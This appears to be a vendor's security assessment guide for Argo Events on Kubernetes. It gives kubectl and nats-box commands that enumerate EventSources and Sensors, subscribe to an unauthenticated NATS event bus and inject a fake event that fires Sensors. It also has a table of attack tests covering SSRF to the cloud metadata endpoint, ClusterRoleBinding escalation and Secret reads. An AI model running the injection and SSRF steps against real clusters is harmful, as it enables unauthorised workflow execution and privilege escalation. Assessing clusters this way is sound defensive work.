Argo Events is a Kubernetes-native event-driven automation framework that listens to event sources (webhooks, Kafka, NATS, S3, GitHub) and triggers workflows, pipelines, or Kubernetes resources via Sensors. Its security concerns are unique to its architecture: the EventSource webhook server accepts HTTP requests from external sources — if the response URL is configurable per event, this enables SSRF probing internal services, the NATS JetStream event bus (used between EventSource and Sensor) often lacks authentication allowing any cluster workload to inject events and trigger Sensors, Sensor triggers that create Kubernetes resources can be abused to create ClusterRoleBindings if the Sensor's ServiceAccount has over-privilege, and the Argo Events controller ClusterRole typically grants cluster-wide read access to Secrets needed for EventSource credentials. This guide covers systematic Argo Events security assessment.
# Argo Events components: controller, eventbus, eventsource, sensor
# All run in a namespace (typically argo-events)
# List Argo Events resources
kubectl get eventsources,sensors,eventbus -n argo-events 2>/dev/null
# Also check other namespaces if multi-namespace mode
kubectl get eventsources,sensors -A 2>/dev/null | grep -v "NAMESPACE" | head -20
# Inspect EventSources — these define what external events are listened to
kubectl get eventsource -n argo-events -o jsonpath='{.items[*].metadata.name}' 2>/dev/null | tr ' ' '\n'
# Get EventSource details — look for webhook endpoints and credentials
kubectl get eventsource -n argo-events -o yaml 2>/dev/null | \
grep -E "(endpoint|port|url|secret|auth)" | head -20
# Check Sensor triggers — look for Kubernetes resource triggers with cluster scope
kubectl get sensor -n argo-events -o yaml 2>/dev/null | \
grep -A5 -E "(k8s|resource)" | head -30
# Argo Events uses NATS JetStream as the default event bus
# If NATS is not configured with authentication, any pod in the cluster can inject events
# Find NATS event bus service
kubectl get svc -n argo-events -l "controller=eventbus-controller" 2>/dev/null | head -5
# Lists services like: eventbus-default-stan-svc (port 4222)
# Test unauthenticated NATS access from within cluster
kubectl run nats-test --image=natsio/nats-box:latest --rm -it --restart=Never -n argo-events -- \
nats sub "argo-events.*" --server=nats://eventbus-default-stan-svc.argo-events.svc:4222 2>/dev/null | head -10
# If this works without credentials, event bus is unauthenticated
# Inject a fake event to trigger a Sensor
kubectl run nats-inject --image=natsio/nats-box:latest --rm -it --restart=Never -n argo-events -- \
nats pub "argo-events.webhook.default" '{"type":"webhook","data":"eyJib2R5Ijp7fX0="}' \
--server=nats://eventbus-default-stan-svc.argo-events.svc:4222 2>/dev/null
# Triggers any Sensor listening to the webhook EventSource — may execute workflows
auth in the EventBus spec with TLS and username/password or token authenticationAuthorization header in the EventSource speceventbusName isolation — separate event buses per team/namespace to prevent cross-tenant event injection| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated NATS event bus injection | Connect to NATS :4222 without credentials — inject events to trigger Sensors | High |
| EventSource webhook SSRF | Send webhook with response URL pointing to internal service — EventSource fetches it | High |
| Sensor trigger creates privileged Kubernetes resources | Trigger Sensor — check if K8s resource trigger creates ClusterRoleBindings | High |
| Controller ClusterRole reads cluster-wide Secrets | Check controller ServiceAccount RBAC — list ClusterRoleBinding permissions | High |
| EventSource HTTP polling reaches internal services | Configure EventSource URL pointing to 169.254.169.254 or internal endpoint | Medium |
| EventSource credentials in plaintext | kubectl get eventsource -o yaml — check for inline secrets vs SecretRef | Medium |
Ironimo tests Argo Events deployments for unauthenticated NATS event bus injection enabling cross-namespace trigger abuse, EventSource webhook SSRF probing internal services, Sensor trigger privilege escalation via over-permissive Kubernetes resource triggers, controller ClusterRole granting cluster-wide Secret read access, EventSource HTTP polling reaching cloud metadata services, and NATS connection without TLS enabling event eavesdropping.
Start free scan